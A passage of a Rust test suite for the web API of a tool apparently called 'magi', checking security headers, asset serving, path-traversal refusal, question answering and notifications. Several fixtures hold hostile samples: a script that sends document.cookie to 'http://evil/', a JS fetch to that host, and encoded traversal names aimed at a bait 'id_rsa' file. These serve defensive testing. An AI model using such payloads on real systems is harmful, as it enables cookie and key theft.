7093 async fn delete(&self, path: &str) -> Res {
7094 request(self.addr, "DELETE", path, None).await
7095 }
7096
7097 async fn put(&self, path: &str, body: &str) -> Res {
7098 request(self.addr, "PUT", path, Some(body)).await
7099 }
7100
7101 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7103 request_bytes(self.addr, path, headers, body).await
7104 }
7105 }
7106
7107 struct Res {
7108 status: u16,
7109 headers: String,
7110 head: String,
7115 body: String,
7116 bytes: Vec<u8>,
7120 }
7121
7122 impl Res {
7123 fn json(&self) -> Value {
7124 serde_json::from_str(&self.body)
7125 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7126 }
7127
7128 fn header(&self, name: &str) -> Option<&str> {
7130 self.head.lines().find_map(|line| {
7131 let (key, value) = line.split_once(':')?;
7132 key.trim()
7133 .eq_ignore_ascii_case(name)
7134 .then(|| value.trim_start().trim_end_matches('\r'))
7135 })
7136 }
7137 }
7138
7139 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7142 request_with(addr, method, path, body, &[]).await
7143 }
7144
7145 async fn request_with(
7149 addr: SocketAddr,
7150 method: &str,
7151 path: &str,
7152 body: Option<&str>,
7153 extra: &[(&str, &str)],
7154 ) -> Res {
7155 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7156 for (name, value) in extra {
7157 head.push_str(&format!("{name}: {value}\r\n"));
7158 }
7159 if let Some(body) = body {
7160 head.push_str("Content-Type: application/json\r\n");
7161 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7162 }
7163 head.push_str("\r\n");
7164 if let Some(body) = body {
7165 head.push_str(body);
7166 }
7167 let mut socket = tokio::net::TcpStream::connect(addr)
7168 .await
7169 .expect("connect to the test server");
7170 socket
7171 .write_all(head.as_bytes())
7172 .await
7173 .expect("write request");
7174 let mut raw = Vec::new();
7175 socket.read_to_end(&mut raw).await.expect("read response");
7176 let split = raw
7179 .windows(4)
7180 .position(|w| w == b"\r\n\r\n")
7181 .expect("a header block");
7182 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7183 let bytes = raw[split + 4..].to_vec();
7184 let status = head
7185 .lines()
7186 .next()
7187 .and_then(|line| line.split_whitespace().nth(1))
7188 .and_then(|code| code.parse().ok())
7189 .expect("a status line");
7190 Res {
7191 status,
7192 headers: head.to_lowercase(),
7193 head,
7194 body: String::from_utf8_lossy(&bytes).into_owned(),
7195 bytes,
7196 }
7197 }
7198
7199 async fn request_bytes(
7205 addr: SocketAddr,
7206 path: &str,
7207 headers: &[(&str, &str)],
7208 body: &[u8],
7209 ) -> Res {
7210 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7211 for (name, value) in headers {
7212 head.push_str(&format!("{name}: {value}\r\n"));
7213 }
7214 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7215 let mut socket = tokio::net::TcpStream::connect(addr)
7216 .await
7217 .expect("connect to the test server");
7218 socket
7219 .write_all(head.as_bytes())
7220 .await
7221 .expect("write request head");
7222 socket.write_all(body).await.expect("write request body");
7223 let mut raw = Vec::new();
7224 socket.read_to_end(&mut raw).await.expect("read response");
7225 let split = raw
7226 .windows(4)
7227 .position(|w| w == b"\r\n\r\n")
7228 .expect("a header block");
7229 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7230 let bytes = raw[split + 4..].to_vec();
7231 let status = head
7232 .lines()
7233 .next()
7234 .and_then(|line| line.split_whitespace().nth(1))
7235 .and_then(|code| code.parse().ok())
7236 .expect("a status line");
7237 Res {
7238 status,
7239 headers: head.to_lowercase(),
7240 head,
7241 body: String::from_utf8_lossy(&bytes).into_owned(),
7242 bytes,
7243 }
7244 }
7245
7246 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7248 let mut state = RunState::new(
7249 PathBuf::from("/repo/magi"),
7250 "main".to_owned(),
7251 "0123456789abcdef".to_owned(),
7252 "Add a web UI\n\nMobile first.".to_owned(),
7253 Config::default(),
7254 );
7255 state.id = id.to_owned();
7256 state.status = status;
7257 let dir = runs.join(id);
7258 std::fs::create_dir_all(&dir).expect("run dir");
7259 std::fs::write(
7260 dir.join("run.json"),
7261 serde_json::to_string_pretty(&state).expect("serialize run"),
7262 )
7263 .expect("write run.json");
7264 }
7265
7266 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7270 let mut state = RunState::new(
7271 PathBuf::from(repo),
7272 "main".to_owned(),
7273 "0123456789abcdef".to_owned(),
7274 "task".to_owned(),
7275 Config::default(),
7276 );
7277 state.id = id.to_owned();
7278 state.status = status;
7279 let dir = runs.join(id);
7280 std::fs::create_dir_all(&dir).expect("run dir");
7281 std::fs::write(
7282 dir.join("run.json"),
7283 serde_json::to_string_pretty(&state).expect("serialize run"),
7284 )
7285 .expect("write run.json");
7286 }
7287
7288 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7289 let body = serde_json::json!({
7290 "schema": 1,
7291 "pid": 4242,
7292 "started_at": Timestamp::now().to_string(),
7293 "updated_at": updated_at.to_string(),
7294 "idle": false,
7295 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7296 "completed": 7,
7297 "polls": 143,
7298 });
7299 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7300 }
7301
7302 fn launch_idle(
7312 _opts: daemon::Opts,
7313 stop: daemon::Stop,
7314 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7315 Box::pin(async move {
7316 while !stop.stopped() {
7317 tokio::time::sleep(Duration::from_millis(2)).await;
7318 }
7319 Ok(())
7320 })
7321 }
7322
7323 fn launch_broken(
7326 _opts: daemon::Opts,
7327 _stop: daemon::Stop,
7328 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7329 Box::pin(async {
7330 Err(anyhow::anyhow!(
7331 "publish the daemon status file: read-only file system"
7332 ))
7333 })
7334 }
7335
7336 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7343 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7344
7345 fn launch_knocking_on_the_way_out(
7352 _opts: daemon::Opts,
7353 stop: daemon::Stop,
7354 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7355 Box::pin(async move {
7356 while !stop.stopped() {
7357 tokio::time::sleep(Duration::from_millis(2)).await;
7358 }
7359 let addr = PARK_KNOCK
7360 .lock()
7361 .expect("park knock")
7362 .expect("the test set an address");
7363 let heard = request(addr, "GET", "/api/health", None).await.status;
7364 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7365 Ok(())
7366 })
7367 }
7368
7369 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7378 for _ in 0..SETTLE_STEPS {
7379 let view = fx.get("/api/loop").await.json();
7380 if want(&view) {
7381 return view;
7382 }
7383 tokio::time::sleep(Duration::from_millis(10)).await;
7384 }
7385 panic!(
7386 "the loop never settled: {}",
7387 fx.get("/api/loop").await.json()
7388 );
7389 }
7390
7391 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7393 let store = fx.questions();
7394 let mut q = Question::new(
7395 "20260902-000000-beef".to_owned(),
7396 "implement".to_owned(),
7397 "impl-A".to_owned(),
7398 summary.to_owned(),
7399 "because it matters".to_owned(),
7400 choices.iter().map(|c| (*c).to_owned()).collect(),
7401 );
7402 store.put(&mut q).expect("put question");
7403 q.id
7404 }
7405
7406 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7412 let store = fx.questions();
7413 let mut q = Question::new(
7414 "20260902-000000-beef".to_owned(),
7415 "land".to_owned(),
7416 "fix".to_owned(),
7417 "Merge this?".to_owned(),
7418 "the diff is in the panel".to_owned(),
7419 vec!["merge".to_owned(), "hold".to_owned()],
7420 );
7421 let staging = fx.home.path().join("staging");
7424 std::fs::create_dir_all(&staging).expect("staging dir");
7425 let sources: Vec<PathBuf> = assets
7426 .iter()
7427 .map(|(name, bytes)| {
7428 let path = staging.join(name);
7429 std::fs::write(&path, bytes).expect("write staged asset");
7430 path
7431 })
7432 .collect();
7433 store
7434 .put_panel(&mut q, html, &sources)
7435 .expect("write the panel");
7436 store.put(&mut q).expect("put question");
7437 q.id
7438 }
7439
7440 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7449 seed_talk_at(&fx.talks(), id, status)
7450 }
7451
7452 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7453 std::fs::create_dir_all(store.root()).expect("talks dir");
7454 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7455 .expect("serialize a seat");
7456 let body = serde_json::json!({
7457 "schema": 1,
7458 "id": id,
7459 "repo": "/repo/magi",
7460 "agent": "mock",
7461 "status": status,
7462 "turns": [],
7463 "created_at": Timestamp::now().to_string(),
7464 "updated_at": Timestamp::now().to_string(),
7465 "seat": seat,
7466 });
7467 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7468 store.get(id).expect("the seeded talk has to be readable");
7469 id.to_owned()
7470 }
7471
7472 #[tokio::test]
7473 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7474 let fx = Fixture::start().await;
7475 let id = panel(
7476 &fx,
7477 "<h1>Merge?</h1><img src=\"diff.svg\">",
7478 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7479 );
7480
7481 for path in [
7482 format!("/api/questions/{id}/panel"),
7483 format!("/api/questions/{id}/asset/diff.svg"),
7484 ] {
7485 let res = fx.get(&path).await;
7486 assert_eq!(res.status, 200, "{path}: {}", res.body);
7487 assert_eq!(
7493 res.header("content-security-policy"),
7494 Some(
7495 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7496 font-src data:; base-uri 'none'; form-action 'none'; \
7497 frame-ancestors 'self'"
7498 ),
7499 "{path} is the only thing between a hostile panel and the tailnet"
7500 );
7501 assert_eq!(
7502 res.header("x-content-type-options"),
7503 Some("nosniff"),
7504 "{path}: a browser must not re-decide the type we sent"
7505 );
7506 assert_eq!(
7507 res.header("referrer-policy"),
7508 Some("no-referrer"),
7509 "{path}: a panel must not leak the question id off the machine"
7510 );
7511
7512 let pre = fx.head(&path).await;
7517 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7518 assert_eq!(
7519 pre.header("content-security-policy"),
7520 res.header("content-security-policy"),
7521 "{path}: the preflight carries the same policy"
7522 );
7523 assert_eq!(
7524 pre.header("content-type"),
7525 res.header("content-type"),
7526 "{path}: the preflight carries the same type"
7527 );
7528 }
7529 }
7530
7531 #[tokio::test]
7532 async fn a_panel_reaches_the_browser_byte_for_byte() {
7533 let fx = Fixture::start().await;
7534 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7539 let id = panel(&fx, html, &[]);
7540
7541 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7542
7543 assert_eq!(res.status, 200);
7544 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7545 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7546 assert_eq!(
7547 res.header("content-disposition"),
7548 None,
7549 "the panel itself is rendered in the frame, not downloaded"
7550 );
7551 }
7552
7553 #[tokio::test]
7554 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7555 let fx = Fixture::start().await;
7556 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7557 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7558 let id = panel(
7559 &fx,
7560 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7561 &[("diff.svg", svg), ("shot.png", png)],
7562 );
7563
7564 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7565 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7566
7567 assert_eq!(as_svg.status, 200);
7568 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7569 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7574
7575 assert_eq!(as_png.status, 200);
7576 assert_eq!(as_png.header("content-type"), Some("image/png"));
7577 assert_eq!(
7578 as_png.header("content-disposition"),
7579 None,
7580 "a raster image has no execution surface, so tapping it still shows it"
7581 );
7582 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7583 }
7584
7585 #[tokio::test]
7586 async fn an_html_asset_is_never_served_as_html() {
7587 let fx = Fixture::start().await;
7588 let id = panel(
7589 &fx,
7590 "<p>see the notes</p>",
7591 &[
7592 (
7593 "notes.html",
7594 b"<script>fetch('http://evil/'+document.cookie)</script>",
7595 ),
7596 ("hook.js", b"fetch('http://evil/')"),
7597 ("data.json", b"{}"),
7598 ("HEADLINE.TXT", b"plain"),
7599 ],
7600 );
7601
7602 for name in ["notes.html", "hook.js", "data.json"] {
7603 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7604 assert_eq!(res.status, 200, "{name}: {}", res.body);
7605 assert_eq!(
7610 res.header("content-type"),
7611 Some("application/octet-stream"),
7612 "{name} must not be a type the browser will execute or render"
7613 );
7614 }
7615 let txt = fx
7618 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7619 .await;
7620 assert_eq!(
7621 txt.header("content-type"),
7622 Some("text/plain; charset=utf-8")
7623 );
7624 }
7625
7626 #[tokio::test]
7627 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7628 let fx = Fixture::start().await;
7629 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7630 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7634
7635 for encoded in [
7642 "%2e%2e%2fid_rsa",
7643 "..%2fid_rsa",
7644 "..%5cid_rsa",
7645 "%2e%2e%5cid_rsa",
7646 "diff%00.svg",
7647 "..",
7648 ".hidden",
7649 "%2e%2e%2f%2e%2e%2fid_rsa",
7650 ] {
7651 let res = fx
7652 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7653 .await;
7654 assert_eq!(
7655 res.status, 400,
7656 "`{encoded}` has to be refused by name, not looked up: {}",
7657 res.body
7658 );
7659 assert!(res.json()["error"].is_string(), "{}", res.body);
7660 }
7661
7662 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7668 let res = fx
7669 .get(&format!("/api/questions/{id}/asset/{literal}"))
7670 .await;
7671 assert_eq!(
7672 res.status, 404,
7673 "`{literal}` must not match the asset route at all: {}",
7674 res.body
7675 );
7676 }
7677 }
7678
7679 #[tokio::test]
7680 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7681 let fx = Fixture::start().await;
7682 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7683 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7684
7685 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7689 assert_eq!(none.status, 404, "{}", none.body);
7690 assert!(none.json()["error"].is_string(), "{}", none.body);
7691 assert_eq!(
7692 fx.head(&format!("/api/questions/{plain}/panel"))
7693 .await
7694 .status,
7695 404,
7696 "the preflight is the only way the client can learn this"
7697 );
7698
7699 let missing = fx
7701 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7702 .await;
7703 assert_eq!(missing.status, 404, "{}", missing.body);
7704 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7705
7706 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7708 assert_eq!(
7709 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7710 404
7711 );
7712 }
7713
7714 #[tokio::test]
7715 async fn a_run_with_an_open_question_reads_as_waiting() {
7716 let fx = Fixture::start().await;
7717 let run = "20260902-000000-beef".to_owned();
7718 write_run(&fx.runs(), &run, RunStatus::Implementing);
7719
7720 let before = fx.get("/api/runs").await.json();
7721 assert_eq!(before[0]["waiting"], false, "{before}");
7722
7723 let store = fx.questions();
7724 let mut q = Question::new(
7725 run.clone(),
7726 "implement".to_owned(),
7727 "impl-A".to_owned(),
7728 "Which backend?".to_owned(),
7729 String::new(),
7730 vec!["SQLite".to_owned()],
7731 );
7732 store.put(&mut q).expect("put");
7733
7734 let during = fx.get("/api/runs").await.json();
7735 assert_eq!(during[0]["waiting"], true, "{during}");
7736
7737 q.answer(Answer::Choice("SQLite".to_owned()))
7740 .expect("answer");
7741 store.put(&mut q).expect("put");
7742 let after = fx.get("/api/runs").await.json();
7743 assert_eq!(after[0]["waiting"], false, "{after}");
7744 }
7745
7746 #[tokio::test]
7747 async fn an_open_question_is_listed_and_counted_by_health() {
7748 let fx = Fixture::start().await;
7749 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7750
7751 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7752 let listed = fx.get("/api/questions").await.json();
7753 assert_eq!(listed.as_array().expect("array").len(), 1);
7754 assert_eq!(listed[0]["id"], id);
7755 assert_eq!(listed[0]["status"], "open");
7756 assert_eq!(listed[0]["choices"][1], "Redis");
7757 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7760 }
7761
7762 #[tokio::test]
7763 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7764 let fx = Fixture::start().await;
7765 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7766 let path = format!("/api/questions/{id}/answer");
7767
7768 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7769 assert_eq!(res.status, 200, "{}", res.body);
7770 let body = res.json();
7771 assert_eq!(body["status"], "answered");
7772 assert_eq!(body["answer"]["choice"], "Redis");
7773
7774 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7778 assert_eq!(again.status, 409, "{}", again.body);
7779 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7780 }
7781
7782 #[tokio::test]
7783 async fn saying_something_appends_a_turn_without_answering() {
7784 let fx = Fixture::start().await;
7785 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7786 let path = format!("/api/questions/{id}/say");
7787
7788 let res = fx
7789 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7790 .await;
7791 assert_eq!(res.status, 200, "{}", res.body);
7792 let body = res.json();
7793 assert_eq!(body["status"], "open", "talking back is not a decision");
7794 assert_eq!(body["answer"], Value::Null);
7795 assert_eq!(body["thread"][0]["who"], "operator");
7796 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7797 assert_eq!(body["waiting_on_agent"], true);
7798 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7800 }
7801
7802 #[tokio::test]
7803 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7804 let fx = Fixture::start().await;
7805 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7806
7807 let list = fx.get("/api/questions").await.json();
7808 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7809
7810 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7811 assert_eq!(res.status, 409, "{}", res.body);
7812 let q = fx.questions().get(&id).unwrap();
7813 assert!(q.status.open());
7814 assert!(q.consult.is_none());
7815 }
7816
7817 #[tokio::test]
7818 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7819 let fx = Fixture::start().await;
7820 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7821 let cfg = Config {
7822 agents: vec![crate::config::AgentSpec {
7823 id: "mock".to_owned(),
7824 kind: crate::config::AgentKind::Command,
7825 model: None,
7826 command: vec!["true".to_owned()],
7827 extra_args: Vec::new(),
7828 env: Default::default(),
7829 prompt_delivery: None,
7830 }],
7831 ..Config::default()
7832 };
7833 let talk = crate::talk::begin(
7834 &fx.talks(),
7835 &cfg,
7836 fx.home.path().to_path_buf(),
7837 Some("mock"),
7838 )
7839 .unwrap();
7840 let mut task = Task::new(
7841 "t".to_owned(),
7842 "Do it".to_owned(),
7843 PathBuf::from("/repo/magi"),
7844 Source::Agent {
7845 run: talk.id.clone(),
7846 node: crate::queue::CHAT_NODE.to_owned(),
7847 },
7848 );
7849 task.start("20260902-000000-beef".to_owned());
7850 fx.queue().put(&mut task).unwrap();
7851
7852 let list = fx.get("/api/questions").await.json();
7853 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7854 assert_eq!(
7855 list[0]["choices"],
7856 serde_json::json!(["SQLite", "Redis"]),
7857 "the hand-over is never a choice"
7858 );
7859 let _ = id;
7860 }
7861
7862 #[tokio::test]
7863 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7864 let fx = Fixture::start().await;
7865 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7866 let cfg = Config {
7867 agents: vec![crate::config::AgentSpec {
7868 id: "mock".to_owned(),
7869 kind: crate::config::AgentKind::Command,
7870 model: None,
7871 command: vec!["true".to_owned()],
7872 extra_args: Vec::new(),
7873 env: Default::default(),
7874 prompt_delivery: None,
7875 }],
7876 ..Config::default()
7877 };
7878 let repo = fx.home.path().join("chat-repo");
7880 std::fs::create_dir_all(&repo).unwrap();
7881 let toml = repo.join("magi.toml");
7882 std::fs::write(&toml, "this is = = not toml").unwrap();
7883 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7884 let mut task = Task::new(
7885 "t".to_owned(),
7886 "Do it".to_owned(),
7887 PathBuf::from("/repo/magi"),
7888 Source::Agent {
7889 run: talk.id.clone(),
7890 node: crate::queue::CHAT_NODE.to_owned(),
7891 },
7892 );
7893 task.start("20260902-000000-beef".to_owned());
7894 fx.queue().put(&mut task).unwrap();
7895
7896 let path = format!("/api/questions/{id}/consult");
7897 let res = fx.post(&path, None).await;
7898 assert!(res.status >= 400, "{}", res.body);
7899 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7900 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7901
7902 std::fs::write(&toml, "").unwrap();
7903 let res = fx.post(&path, None).await;
7904 assert_eq!(res.status, 202, "{}", res.body);
7905 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7906 }
7907
7908 #[tokio::test]
7909 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7910 let fx = Fixture::start().await;
7911 let store = fx.questions();
7912 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7913 assert_eq!(
7914 fx.get("/api/health").await.json()["questions_needs_owner"],
7915 1
7916 );
7917
7918 let res = fx
7924 .post(
7925 &format!("/api/questions/{id}/say"),
7926 Some(r#"{"body":"why not Postgres?"}"#),
7927 )
7928 .await;
7929 assert_eq!(res.status, 200, "{}", res.body);
7930 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7931 assert_eq!(
7932 fx.get("/api/health").await.json()["questions_needs_owner"],
7933 0,
7934 "waiting on the agent is not waiting on the owner"
7935 );
7936
7937 let mut q = store.get(&id).expect("get");
7941 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7942 .expect("reply");
7943 store.put(&mut q).expect("put");
7944 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7945 assert_eq!(
7946 fx.get("/api/health").await.json()["questions_needs_owner"],
7947 1,
7948 "the agent's reply is what should light the banner back up"
7949 );
7950 }
7951
7952 #[tokio::test]
7953 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7954 let fx = Fixture::start().await;
7955 let store = fx.questions();
7956
7957 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7958 let res = fx
7959 .post(
7960 &format!("/api/questions/{empty_id}/say"),
7961 Some(r#"{"body":" "}"#),
7962 )
7963 .await;
7964 assert_eq!(res.status, 400, "{}", res.body);
7965
7966 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7967 let mut answered = store.get(&answered_id).expect("get");
7968 answered
7969 .answer(Answer::Choice("SQLite".to_owned()))
7970 .expect("answer");
7971 store.put(&mut answered).expect("put");
7972 let res = fx
7973 .post(
7974 &format!("/api/questions/{answered_id}/say"),
7975 Some(r#"{"body":"still there?"}"#),
7976 )
7977 .await;
7978 assert_eq!(res.status, 409, "{}", res.body);
7979
7980 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7981 let mut abandoned = store.get(&abandoned_id).expect("get");
7982 abandoned.abandon("timed out");
7983 store.put(&mut abandoned).expect("put");
7984 let res = fx
7985 .post(
7986 &format!("/api/questions/{abandoned_id}/say"),
7987 Some(r#"{"body":"still there?"}"#),
7988 )
7989 .await;
7990 assert_eq!(res.status, 409, "{}", res.body);
7991 }
7992
7993 #[tokio::test]
7994 async fn an_answer_the_question_does_not_offer_is_refused() {
7995 let fx = Fixture::start().await;
7996 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7997 let path = format!("/api/questions/{id}/answer");
7998
7999 for body in [
8000 r#"{"choice":"Postgres"}"#,
8001 r#"{"text":"whatever you think"}"#,
8002 r#"{"choice":"Redis","text":"both"}"#,
8003 r#"{}"#,
8004 ] {
8005 let res = fx.post(&path, Some(body)).await;
8006 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8007 assert!(res.json()["error"].is_string(), "{}", res.body);
8008 }
8009 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8011 }
8012
8013 #[tokio::test]
8014 async fn a_free_text_question_takes_text_and_not_a_choice() {
8015 let fx = Fixture::start().await;
8016 let id = ask(&fx, "What should the flag be called?", &[]);
8017 let path = format!("/api/questions/{id}/answer");
8018
8019 assert_eq!(
8020 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8021 400
8022 );
8023 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8024 assert_eq!(res.status, 200, "{}", res.body);
8025 assert_eq!(res.json()["answer"]["text"], "--json");
8026 }
8027
8028 #[tokio::test]
8029 async fn an_unknown_question_is_a_json_404() {
8030 let fx = Fixture::start().await;
8031 let res = fx
8032 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8033 .await;
8034 assert_eq!(res.status, 404, "{}", res.body);
8035 assert!(res.json()["error"].is_string());
8036 }
8037
8038 #[tokio::test]
8039 async fn notifications_list_read_dismiss_and_health_agree() {
8040 let fx = Fixture::start().await;
8041 let store = Notices::at(fx.home.path().join("notifications"));
8042 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8043 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8044
8045 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8046 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8047
8048 let health = fx.get("/api/health").await.json();
8049 assert_eq!(health["notifications_unread"], 2);
8050 assert_ne!(
8051 health["notifications_rev"], rev0,
8052 "the badge must move live"
8053 );
8054
8055 let listed = fx.get("/api/notifications").await.json();
8056 assert_eq!(listed["unread"], 2);
8057 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8058 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8059
8060 let read = fx
8061 .post(&format!("/api/notifications/{}/read", a.id), None)
8062 .await;
8063 assert_eq!(read.status, 200, "{}", read.body);
8064 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8065
8066 let gone = fx
8067 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8068 .await;
8069 assert_eq!(gone.status, 200, "{}", gone.body);
8070 let listed = fx.get("/api/notifications").await.json();
8071 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8072 assert_eq!(listed["unread"], 0);
8073
8074 store.raise(Notice::info("x", "again")).unwrap();
8075 let all = fx.post("/api/notifications/read-all", None).await;
8076 assert_eq!(all.status, 200, "{}", all.body);
8077 assert_eq!(all.json()["marked"], 1);
8078 assert_eq!(
8079 fx.get("/api/health").await.json()["notifications_unread"],
8080 0
8081 );
8082
8083 let missing = fx.post("/api/notifications/nope/read", None).await;
8084 assert_eq!(missing.status, 404, "{}", missing.body);
8085 assert!(missing.json()["error"].is_string());
8086 }
8087
8088 #[tokio::test]
8095 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8096 let f = Fixture::start().await;
8097
8098 let res = f
8099 .post(
8100 "/api/queue",
8101 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8102 )
8103 .await;
8104
8105 assert_eq!(
8106 res.status, 405,
8107 "POST /api/queue must not be a route: {}",
8108 res.body
8109 );
8110 assert!(
8111 f.queue().list().is_empty(),
8112 "a task filed by a route that does not exist must not reach the disk"
8113 );
8114 assert_eq!(f.get("/api/queue").await.status, 200);
8117 }
8118
8119 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8121 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8122 .expect("checkout dir");
8123 }
8124
8125 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8127
8128 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8129 let tmp = TempDir::new().expect("tempdir");
8130 let repo = tmp.path().join("repo");
8131 std::fs::create_dir_all(&repo).expect("repo dir");
8132 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8133 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8134 if let Some(text) = machine_toml {
8135 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8136 std::fs::write(&machine, text).expect("machine toml");
8137 }
8138 (tmp, repo, machine)
8139 }
8140
8141 #[tokio::test]
8142 async fn settings_get_reports_sources_and_the_advisors_fallback() {
